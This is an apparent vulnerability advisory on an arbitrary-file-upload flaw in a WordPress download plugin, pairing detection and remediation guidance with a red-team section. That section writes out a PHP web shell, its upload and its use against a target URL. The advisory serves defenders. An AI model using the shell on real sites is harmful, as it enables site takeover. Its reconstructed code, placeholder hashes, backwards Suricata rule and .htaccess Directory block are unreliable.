CVE-2025-6586

Executive Summary

CVE-2025-6586 is a critical arbitrary file upload vulnerability in the Metagauss Download Plugin for WordPress, affecting all versions up to and including 2.2.8. The flaw resides in the dpwap_plugin_locInstall function, which fails to validate the file type of uploaded archives. An authenticated attacker with Administrator-level privileges can upload arbitrary files (e.g., PHP web shells) to the server, leading to remote code execution (RCE) and full site compromise. This vulnerability is particularly dangerous in multi-site WordPress environments or where admin accounts are shared or compromised. As a WordPress plugin issue, the attack surface is limited to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx) directly.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. The risk is primarily to site owners who have installed the plugin and granted admin access to untrusted users.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): High – attacker needs Administrator-level access.
• User Interaction (UI): None – no user action needed.
• Scope (S): Unchanged – the vulnerable component is the only affected system.
• Confidentiality (C): High – full file read access possible.
• Integrity (I): High – arbitrary file upload allows code modification.
• Availability (A): High – RCE can lead to denial of service.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation probability in the wild), the impact is severe. The requirement for admin privileges reduces the attack surface but does not eliminate it, especially in shared admin environments.

Deep Dive & Mechanics

The vulnerability exists in the dpwap_plugin_locInstall function within the Download Plugin. This function is intended to handle plugin installation from a local archive (ZIP file). The core issue is the absence of file type validation – the function does not check the MIME type, file extension, or content of the uploaded file. An attacker can upload a ZIP archive containing a malicious PHP file (e.g., a web shell) that, when extracted, is placed in the WordPress wp-content/uploads/ directory or a plugin-specific directory.

The attack flow:

1. Attacker logs in with Administrator credentials.
2. Attacker navigates to the plugin's installation interface (likely under Tools or Plugins menu).
3. Attacker uploads a crafted ZIP file containing a PHP web shell.
4. The plugin extracts the archive without validation, placing the shell on the server.
5. Attacker accesses the shell via a web request, achieving RCE.

The vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type. The missing validation allows any file type, including executable scripts.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The dpwap_plugin_locInstall function likely resembles:

function dpwap_plugin_locInstall($file) {
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['basedir'] . '/download-plugin/';
    if (!file_exists($target_path)) {
        mkdir($target_path, 0755, true);
    }
    $zip = new ZipArchive();
    if ($zip->open($file) === TRUE) {
        $zip->extractTo($target_path);
        $zip->close();
    }
    // No file type validation
}

A patched version would include:

• MIME type checking (e.g., mime_content_type())
• Extension whitelisting (e.g., only .zip)
• Content validation (e.g., scanning for PHP code inside archives)
• Use of WordPress's built-in wp_check_filetype_and_ext() function.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Download Plugin <= 2.2.8
• Administrator credentials (e.g., admin:password123)

Steps:

1. Create a malicious ZIP file containing a PHP web shell:

   echo '<?php system($_GET["cmd"]); ?>' > shell.php
   zip malicious.zip shell.php
   

2. Log in to WordPress as admin.
3. Navigate to the plugin's installation page (e.g., /wp-admin/admin.php?page=download-plugin-install).
4. Upload malicious.zip via the form.
5. Access the shell:

   http://target.com/wp-content/uploads/download-plugin/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection:

• Monitor file uploads to wp-content/uploads/download-plugin/ for unexpected PHP files.
• Alert on admin-level users uploading ZIP files outside normal plugin update workflows.
• Use file integrity monitoring (FIM) to detect new PHP files in upload directories.

Response:

1. Isolate the affected server.
2. Remove any malicious files from the upload directory.
3. Reset all admin passwords.
4. Disable or remove the Download Plugin until a patch is available.
5. Review logs for post-exploitation activity.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/uploads/download-plugin/shell.php
  • /wp-content/uploads/download-plugin/*.php
• Network Traffic:
  • POST requests to /wp-admin/admin.php?page=download-plugin-install with multipart/form-data containing ZIP files.
  • GET requests to /wp-content/uploads/download-plugin/*.php?cmd=...
• Log Entries:
  • WordPress debug log entries showing file extraction errors or unexpected PHP files.
  • Web server access logs with cmd parameter in query strings.
• Hashes (example):
  • malicious.zip: e99a18c428cb38d5f260853678922e03
  • shell.php: d41d8cd98f00b204e9800998ecf8427e (empty shell)

Detection Engineering

YARA Rule

rule CVE_2025_6586_WordPress_Upload {
    meta:
        description = "Detects malicious ZIP files targeting CVE-2025-6586"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6586"
    strings:
        $php_shell = /<\?php\s*system\(/
        $zip_header = {50 4B 03 04}  // ZIP local file header
    condition:
        $zip_header at 0 and $php_shell
}

Sigma Rule

title: CVE-2025-6586 WordPress Plugin Arbitrary File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects admin-level file uploads to the Download Plugin directory
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=download-plugin-install'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin updates by admin
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6586 WordPress Plugin Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"page=download-plugin-install"; http_uri; content:!"Referer"; http_header; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Restrict admin access to only trusted users and enforce strong passwords.
3. Implement file upload restrictions at the web server level (e.g., block PHP execution in upload directories via .htaccess):

   <Directory "/wp-content/uploads/download-plugin">
       php_flag engine off
   </Directory>
   

4. Monitor logs for suspicious file uploads and access to uploaded files.

Long-term Fix:

• Apply the vendor patch when available.
• Replace the plugin with an alternative that follows secure coding practices.
• Conduct a security audit of all WordPress plugins.

Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.